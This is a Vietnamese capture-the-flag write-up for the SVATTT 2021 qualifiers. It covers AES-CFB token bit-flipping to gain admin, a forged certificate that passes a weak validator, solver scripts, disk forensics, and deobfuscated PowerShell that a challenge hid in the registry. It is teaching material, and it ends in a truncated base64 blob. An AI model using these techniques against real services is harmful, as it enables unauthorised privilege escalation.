WRITE-UP SVATTT-CTF-2021-QUALS
Challenge type |
---|
* WEB |
* MISC |
* CRYPTO |
* REVERSE |
Crypto
NoOne
Link trên dẫn tới một trang đăng nhập, tiếp tục tạo thử một tài khoản và login.
Trong About có để source và sau khi phân tích source mình sẽ rút ra được:
- User được chia làm hai loại, user thường và admin, trong đó
ROLE_ADMIN = 0; ROLE_USER = 1
. Để lấy được flag, mình phải là admin (request tới /flag). - Ở login(), authtoken được tạo bằng
AES_CFB[len(usernamebytes).to_bytes(2, "little") + usernamebytes + role.to_bytes(1, "little")]
. Reference: Wikipedia - Cipher feedback (CFB).
- Như vậy, chỉ cần flip role từ 1 thành 0 là mình sẽ trở thành admin.
Flag:
ASCIS{z3r0_l0g0n_1s_H3re}
EasyOne
Cũng tương tự như bài NoOne, tác giả cho source của challenge nằm ở /about.
Một điểm lưu ý, trong source code có một func dùng để login bằng certificate (/logincert), khi login theo cách này mặc định sẽ có role là admin.
Quay ngược lại phân tích validate_certificate() và verify_certificate_chain(), như vậy mình cần phải tạo một X.509 certificate (.pem), với subject_cn == "admin"
và issuer_cn == "ca"
.
References:
-----BEGIN CERTIFICATE-----
MIIDyjCCArKgAwIBAgIUdsrsPaMxa2TR/iSRJSCjg1hfIJAwDQYJKoZIhvcNAQEL
BQAwVDELMAkGA1UEBhMCVk4xCzAJBgNVBAgMAlZOMQswCQYDVQQKDAJjYTELMAkG
A1UECwwCY2ExCzAJBgNVBAMMAmNhMREwDwYJKoZIhvcNAQkBFgJjYTAeFw0yMTEw
MTYwNzUwMzFaFw0yMjEwMTYwNzUwMzFaMG0xCzAJBgNVBAYTAlZOMQswCQYDVQQI
DAJWTjELMAkGA1UEBwwCVk4xDjAMBgNVBAoMBWFkbWluMQ4wDAYDVQQLDAVhZG1p
bjEOMAwGA1UEAwwFYWRtaW4xFDASBgkqhkiG9w0BCQEWBWFkbWluMIIBIjANBgkq
hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw4bl8OUVKvhD5F+laZMF/7u9X0LS4Tb2
uSb5pSGkVmbYMNKzWZX7QLiPTF1OpGlzXLHKhxaVcTqrpkaqu3JqtylznKl6nFTA
KC6gBfLmNOmuPZ3X1+HYPdWgQN1H8mIRLrqu9KD9G5EEXEU+7UWmBgB9P9fczCGR
OfErffdmnqG0TDlD7Fk+oaWEHrGrMeOHBQcl5/Jso47nOqx2dPg8hXwW2I3gyeGD
DZRVZOk34wml8+awj6O+NdT/8Hs+YMNrVeGJbmhygZN9B34qH/C0IT7hIzImR2rc
4Nq5fVVwKxf3qOlW/eHhu6R0lqjTXmqtdMhh3BRkELcwr4V4iFc2mQIDAQABo3sw
eTAJBgNVHRMEAjAAMCwGCWCGSAGG+EIBDQQfFh1PcGVuU1NMIEdlbmVyYXRlZCBD
ZXJ0aWZpY2F0ZTAdBgNVHQ4EFgQUOkN+wHxnnVkZmXJl9iTXPHUSsygwHwYDVR0j
BBgwFoAUHtyzAugem8DTqS2AhZFr/4AOOFQwDQYJKoZIhvcNAQELBQADggEBAH+5
hZoyjXa20weLwrH/sYY+PUC0nQYVtGuz20ihJQdh9t+4meKjCSlOlD8dmOA/1Tph
gZ/sNEzSkxvt5WBHI7cCgtIB0CcsWQCKKxKJ5NQIYTydymepE4z+dYgkrAliAcMv
4Is48U84YFxljbCmVYKC4PXK5E66aqtgMEMV9lopC07+ybOs5L9EPo36mlqgrmVX
0vo0g3H506tBDviJRRMJ8UVEQaFWJxh6PbHBYpEpGwQPJRLrVla1iL4FsCn9wCWn
cv9uIOrhuHjof3lplMM0m9Jiv+cFPvYR+MWpWSfKyJVHqPoU5+J9+xeIIYrkzFzM
sSenSnMvDt6dPFj6Vl8=
-----END CERTIFICATE-----
Login bằng certificate thành công, vào lấy flag và submit thôi.
Flag:
ASCIS{c3rt_val1dat1on_s1mpl3}
Misc
PNG
Bước 1. Sử dụng pngcheck
kiểm tra ảnh và biết ảnh đang bị lỗi các byte CRC
vcs.png CRC error in chunk IHDR (computed 3d4d4a61, expected b018483d)
ERROR: vcs.png
Dùng trình chỉnh mã hex bất kì, chỉnh lại giá trị CRC 3d4d4a61
thành b018483d
.
Bước 2. Cờ được giấu ở phía cuối ảnh, có thể sử dụng fotoforensic để xem các hidden pixel và lấy được cờ.
Ngoài ra giải thích thêm hidden pixel có là vì chiều cao ảnh bị chỉnh khác lại so với ảnh gốc, làm mất đi phần nội dung cuối góc ảnh. Bạn có thể tham khảo PNG (Portable Network Graphics) Specification tính toán vị trí hex code của chiều cao và chiều rộng và thay đổi trực tiếp.
travel paper
Sau khi kết nối nc
thì nhận được QR code
được vẽ ra bằng các kí tự đặc biệt trên console như sau:
Sau khi thử decode QR code
này bằng cơm thì thu được kết quả có dạng như sau: 682584872|Nguyen Tuan Thanh|14/11/2021
. Ta dễ dàng có thể đoán được dữ liệu tương ứng là:
ID Number
: 682584872Full Name
: Nguyen Tuan ThanhExpired Date
: 14/11/2021
Sau khi mình submit thông tin lên thì tiếp tục nhận được 1 QR code
khác…. hmmm vậy là mình quyết định sẽ code 1 script tự động nhận dữ liệu, decode QR code
và gửi thông tin decode được lên server.
Ý tưởng của mình là sẽ phải convert được dạng QR code bằng kí tự đặc biệt kia về các pixel tương ứng với 0 và 1, sau đó sử dụng thư viện QR code decode
để lấy data và gửi lên server.
Sau khi mở các kí tự đặc biệt tạo QR code
bằng sublime text mình nhận ra có 3 loại kí tự đặc biệt: █ ▄ ▀
Mình nhận thấy mỗi kí tự này sẽ chiếm 2 dòng pixel (nếu coi QR code là 1 hình). Công việc bây giờ đơn giản là sẽ map 3 kí tự này tương ứng với data trong matrix như sau:
█ => 1
1
▄ => 0
1
▀ => 1
0
Sau khi tạo ra được matrix pixel để tạo hình tương ứng thì mình vẫn chưa decode bằng thư viện pyzbar
được nên mình đã thử resize hình lên 300x300
và đã decode được, cuối cùng là viết script tự động như dưới đây:
from pwn import *
from PIL import Image
import numpy as np
from pyzbar import pyzbar
r = remote('125.235.240.166', 20123)
for round_index in range(1, 101):
print(r.recvuntil(f'Person #{round_index}:\n'))
qr_content = r.recvuntil('ID Number: ').strip(b'\nID Number: ')
print(qr_content.decode())
qr_content = qr_content.replace(bytes(qr_content[:2]), b' ')
list_line = qr_content.split(b'\n')
list_line = list_line[2:-2]
matrix = []
index = 0
for line in list_line:
line = line[4:-4].replace(b' ', b'\x00\x00\x00')
matrix.append([0] * (len(line) // 3))
matrix.append([0] * (len(line) // 3))
for i in range((len(line) // 3)):
if line[3*i:3*i+3] == b'\x00\x00\x00':
matrix[index][i] = 0
matrix[index+1][i] = 0
elif line[3*i:3*i+3] == b'\xe2\x96\x88':
matrix[index][i] = 1
matrix[index+1][i] = 1
elif line[3*i:3*i+3] == b'\xe2\x96\x80':
matrix[index][i] = 1
matrix[index+1][i] = 0
elif line[3*i:3*i+3] == b'\xe2\x96\x84':
matrix[index][i] = 0
matrix[index+1][i] = 1
else:
matrix[index][i] = -1
matrix[index+1][i] = -1
index += 2
pixels = []
for i in range(len(matrix)):
line = matrix[i]
pixels.append([0] * len(line))
for j in range(len(line)):
data = line[j]
if data == 0:
pixels[i][j] = (255, 255, 255)
else:
pixels[i][j] = (0, 0, 0)
# print(pixels)
# Convert the pixels into an array using numpy
array = np.array(pixels, dtype=np.uint8)
# Use PIL to create an image from the new array of pixels
new_image = Image.fromarray(array)
new_image = new_image.resize((300,300))
# new_image.save('new.png')
# print(image)
barcodes = pyzbar.decode(new_image)
for barcode in barcodes:
qrcode_data = barcode.data
r.sendline(qrcode_data.split(b'|')[0].strip())
print(r.recvuntil('Full Name:'))
r.sendline(qrcode_data.split(b'|')[1].strip())
print(r.recvuntil('Expired Date:'))
r.sendline(qrcode_data.split(b'|')[2].strip())
print(r.recvuntil('Correct!\n'))
break
r.interactive()
Flag: ASCIS{c0r0n4_v1rus_1s_g0n3}
Sherlock Homes
Nhận được tệp có phần mở rộng tập tin là VHDX.
Phần mở rộng của tệp tin là VHDX là định dạng tệp ảnh đĩa được xem như là một ổ cứng thực,vật lý nhưng được lưu trữ trong một tệp duy nhất nằm trên một đĩa vật lý giống như một ổ đĩa cứng.
Có một số cách để phân tích tệp này như sử dụng autopsy hoặc mount trực tiếp ổ này vào máy tính rồi dùng cách cú pháp dòng lệnh để phân tích. Mình sẽ gợi ý theo cách mount trực tiếp, sau khi làm theo hướng dẫn trong đường dẫn đính kèm thì giờ có thể trực tiếp truy xuất các dữ liệu trong ổ đĩa.
Thông thường thì bước đầu cứ grep -rn "flag"
hoặc grep -rn "ascis{"
xem thử có gì liên quan không.
Trường hợp không có thì hãy thử truy vết các tệp được tạo, chỉnh sửa gần đây bằng lệnh find
.
Với lệnh trên thì tìm ra vài thông tin khả nghi như
C:\Users\John\AppData\Roaming\Microsoft\Windows\Recent\flag.lnk
D:\Setup\Log\C\Users\John\AppData\Roaming\Microsoft\Windows\Recent\flag.lnk
C/Users/John/AppData/Local/ConnectedDevicesPlatform/L.John/ActivitiesCache.db
Đọc tệp C/Users/John/AppData/Local/ConnectedDevicesPlatform/L.John/ActivitiesCache.db
thì có các nội dung như sau:
Có chứa ASCIS{NTF$_!S_G00D}
đúng với định dạng của cờ, sau khi submit thì nhận được thông báo cờ sai. Có trao đổi với phía BTC thì nhận được thông tin là cờ giả. Tiếp tục đào các dữ kiện khác.
Sử dụng lnkinfo xem thông tin tệp này lnk.
Xác định đường tệp gốc flag nằm ở đường dẫn D:\Work\CONFIDENTAL\ProjectX\2021\SECRET\flag.txt
. Nhưng vấn là ổ đĩa D không có trông tệp đĩa hình ảnh ban đầu. Vì trong cờ giả có từ khóa NTFS
nên mình nghĩ có thể sử dụng mtfparse để xem các giá trị offset của tệp flag.txt trên RAM
, làm các phép tính toán với ntfs-partition-boot-sector rồi trace trực tiếp nhưng có vẻ không khả thi.
Mình có lục lọi các tệp khác trên hệ thống, mong rằng sẽ tìm được gì khác như bản backup nào đó. Đã xem qua các log internet, user.dat, nhưng không tìm thấy gì khả nghi. Nhưng suýt quên mất rằng chúng ta có ổ C, là ổ chứa các tệp nhật kí hệ thống, trong đó có cả event log. Cho dù không có ổ D, nhưng ta vẫn có thể truy vết được các thao tác của tác giả trên hệ thống trước khi thực hiện ghi lại hình ảnh ổ đĩa. Và mong rằng nó có chứa cờ!
Tìm hiểu thì %SystemRoot%\System32\Winevt\Logs
sẽ là nơi chứa các tệp lưu lại các nhật kí thao các của người dùng với các ứng dụng, hệ điều hành,…. Dễ hình dung hơn thì nó là các tệp log trên event viewer hay coi. Và có lẽ các thao tác của tác giả khi tương tác với tệp flag.txt
cũng nằm trên này. Việc bây giờ là cần xem qua các tệp này, vì cờ có thể ở bất kì bản nhật kí người dùng nào.
Mất khá nhiều thời gian để tìm đến được tệp Microsoft-Windows-Sysmon%4Operational.evtx, tệp này là bản ghi lưu lại nhật kí các thao tác dịch vụ hệ thống windows và trình điều khiển thiết bị, sau khi được cài đặt trên hệ thống.
Sử dụng event viewer trên windows hoặc filext.com/file-extension/EVTX để xem online.
Khuyến mãi: https://www.sans.org/blog/parsing-sysmon-events-for-ir-indicators/
Reverse
FSM
Binary: fsm_B6CB40CE8F1E1C0B71B376A259F42C8F.exe (PE x64)
Yêu cầu thử thách này là cần nhập 3 giá trị hex theo đúng định dạng để làm key. Các giá trị vừa nhập đó sẽ được đưa vào 1 loạt thuật toán xor để tạo ra 2 giá trị cuối cùng tạm gọi ở đây là checksum1 và checksum2.
Tiếp tục chương trình tạo thread để kiểm tra 2 giá trị checksum1 và checksum2.
Tại luồng xử lý của thread kiểm tra 3 điều kiện.
Vậy thì có 3 điều kiện cho ba giá trị cần tìm. Dùng z3solver để giải bài này:
from z3 import *
s = Solver()
part1 = BitVec('part1', 32)
part2 = BitVec('part2', 32)
part3 = BitVec('part3', 32)
s.add(1620 * part2 + 5447 * part3 + 17170 * part1 == 0x52D012C ^ 0x2ED0F8B0)
s.add(9543 * part3 + 19218 * part1 + 27870 * part2 == 0x323030B5 ^ 0x63987AEB)
s.add(7287 * part3 + 11210 * part1 + 24874 * part2 == 0x8A0B76BC ^ 0xB6DDCFF6)
print(s.check())
m = s.model()
flag = []
md = sorted([(d, m[d]) for d in m], key = lambda x: str(x[0]))
for i in md:
flag.append(i[1].as_long())
for i in flag:
print(hex(i)[2:],end = '-')
Kết quả nhận được key và flag như sau:
key : 4ab6-2c6d-11894
Flag: ASCIS{I Know Kung-Fu!}
Flag:
ASCIS{I Know Kung-Fu!}
Trace me
Binary: buf.so (ELF x86)
Thực thi chương trình nhận được yêu cầu nhập mật khẩu. Sau đó, hiển thị thông báo như sau:
Phân tích code bài này với IDA tại hàm main. Nhận thấy đoạn code kiểm tra chuỗi nhập vào.
Đi thử thực thi chương trình với chuỗi này và kết quả thất bại.
Với tên bài là trace me và luồng thực thi như này thì khả năng tác giả giấu đoạn code chính ở hàm init và sử dụng kỹ thuật ptrace giao tiếp giữa 2 tiến trình. Một thử thách tương tự ở giải flareon7 (chall 10)
cũng có ý tưởng tương tự.
Đúng như dự đoán hàm init gọi đến nơi tạo và giao tiếp với tiến trình con để thay đổi data.
Debug thì phát hiện được hàm sub_14C6 sẽ đọc data tại các địa chỉ trong hàm sub_1B7E của tiến trình con và decode bằng thuật toán xor.
Hàm sub_1B7E sử dụng thuật toán RC4 để mã hóa chuỗi nhập vào và so sánh với cipher. Key trong hàm này sẽ được tiến trình cha decode rồi tiến trình con bắt đầu dùng key đó decrypt.
Sau khi Xor ta có được key như sau:
Decrypt:
cipher = b"\xa9\xa5\xe4\x0e{\xb1Q;'\x01\xc6\xa0C\xb3\x0c\xbe\xa5%\xaa\xf7\x95\xbb6\xc4\xe8\x1e\x1c\xd5SV\xd3\xcaF\x9a\xb8$\xbd\x00"
key = 'ASCIS2021'
ghost reg
Sau khi phân tích 3 file HKCR.reg
, HKCU.reg
, HKCM.reg
thì tìm được 2 đoạn có vẻ thú vị
Sử dụng công cụ deobshell
(https://github.com/thewhiteninja/deobshell) kết hợp với deobfuscate bằng “cơm” thì cuối cùng thu được 2 đoạn mã powershell như sau:
part1:
if(($abcd -split ' ')[-1] -eq "$env:appdata\flag.svattt" -and (Get-FileHash ($abcd -split ' ')[-1] -Algorithm MD5).hash -eq "CF5A6ED30AE66ECF61C1286516F8A943" -and (gc $env:appdata\plmjuh)[-1..-5] -join "" -eq "SCISA"){
$11 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\svattt\shell\open\command" -name "aocnsit")."aocnsit";
$111 = [System.Convert]::FromBase64String($11);
$1111 = gc ($abcd -split ' ')[-1] -encoding byte;
$11111 = New-Object Byte[] $111.count;
for($i=0; $i -lt $111.count ; $i++) {
$11111[$i] = $111[$i] -bxor $1111[$i];
}
sc ($abcd -split ' ')[-1] -value $11111 -encoding byte;
};
$abcd | IEX;
part2:
$abcd.split(' ')[-1].split('.')[-1]
if(test-path $env:appdata\plmjuh -PathType Leaf) {
$1 = (gc $env:appdata\plmjuh)[-1..-5]
}else{
ni -path $env:appdata\plmjuh -ItemType "file"
}
$11 = $abcd.split(' ')[-1].split('.')[-1]
ac $env:appdata\plmjuh -value $11
if(-not (test-path "$env:appdata\flag.svattt" -PathType Leaf)) {
ni -path "$env:appdata\flag.svattt" -ItemType "file"
}
if($11 -eq "a"){
$111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "jRSgo")."jRSgo";
ac $env:appdata\flag.svattt -value ([System.Convert]::FromBase64String($111)) -encoding byte;
}else{
switch ($1[0]){
"a"{
$111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "WycrJ")."WycrJ";
}
"s"{
$111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "2NoQX")."2NoQX";
}
"i"{
$111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "JdMTE")."JdMTE";
}
"c"{
$111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "1K1tj")."1K1tj";
}
}
ac $env:appdata\flag.svattt -value ([System.Convert]::FromBase64String($111)) -encoding byte;
}
$1111 = "Hey $((gc $env:appdata\plmjuh)[-5..-1]), can you find me?"
$11111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "aEFyX")."aEFyX"
sc $abcd.split(' ')[-1] -value ([System.Convert]::FromBase64String($11111)) -encoding Byte
ac $abcd.split(' ')[-1] -value "Hey $((gc $env:appdata\plmjuh)[-5..-1] -join ''), can you find me?"
$abcd | IEX
Tiếp tục debug 2 đoạn powershell này bằng công cụ Powershell Tools for Visual Studio
Để ý kĩ thì đoạn powershell này sẽ kiểm tra điều kiện và switch case để quyết định lấy dữ liệu từ registry nào để Base64 decode
và cuối cùng là append vào file flag.svattt
.
if($11 -eq "a"){
$111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "jRSgo")."jRSgo";
ac $env:appdata\flag.svattt -value ([System.Convert]::FromBase64String($111)) -encoding byte;
}else{
switch ($1[0]){
"a"{
$111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "WycrJ")."WycrJ";
}
"s"{
$111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "2NoQX")."2NoQX";
}
"i"{
$111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "JdMTE")."JdMTE";
}
"c"{
$111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "1K1tj")."1K1tj";
}
}
ac $env:appdata\flag.svattt -value ([System.Convert]::FromBase64String($111)) -encoding byte;
}
Lại để ý ở part1
, md5 của file flag.svattt
phải trùng với CF5A6ED30AE66ECF61C1286516F8A943
. Vì mình không biết được thứ tự append các content vào file flag.svattt
nên mình quyết định sẽ viết 1 script để brute thứ tự.
from hashlib import md5
from base64 import b64decode
from itertools import permutations
list_content = []
list_content.append("ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLnNhYWFuWVlUWW5hYWFjLiAgICAgICAgICAgI...")
list_content.append("/9j/4AAQSkZJRgABAQEA8ADwAAD/4SdARXhpZgAATU0AKgAAAAgACwEPAAIAAAAGAAAAkgEQAAIAA...")
list_content.append("/wCsl2455FOfS7QSljNJ6jGOKxWsJsj93J82Tgg06SwujJt8uYbuOlP2f98j2lTsjXFhZqzDzpcYz...")
list_content.append("3b/s/wCc1Yg+IOq7l/0peByAOnf8aJSxn938SKccJLVwl96/yLsnhG+i8GeIt1vIudHvV6DGTbyD/...")
list_content.append("VsPRpVn70U7+rtq10elvRI/lXMMuwFHG1K+Eu76eStKWkXu1y8rb7trpo6RAVCGSM56fN7VH5beXy...")
list_content.append("r9Yv+C1Xh7zvD/w/1FV/1dzdWpbHTdGGH/oNfkN+014TvW8bx3GnX09rewyl7ZI3Mm8tsLlv7q7ZP...")
for contents in permutations(list_content, 5):
temp = ''
for content in contents:
temp += b64decode(content)
if md5(temp).hexdigest().upper()== 'CF5A6ED30AE66ECF61C1286516F8A943':
open('flag.svattt', 'wb').write(temp)
print 'found'
break
Ở part1
, sau khi thỏa mấy điều kiện ở trên sẽ đọc giá trị của aocnsit
trong registry sau đó thực hiện vòng lặp để xor
với file flag.svattt
.
from base64 import b64decode
b = open('flag.svattt', 'rb').read()
a = b64decode("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA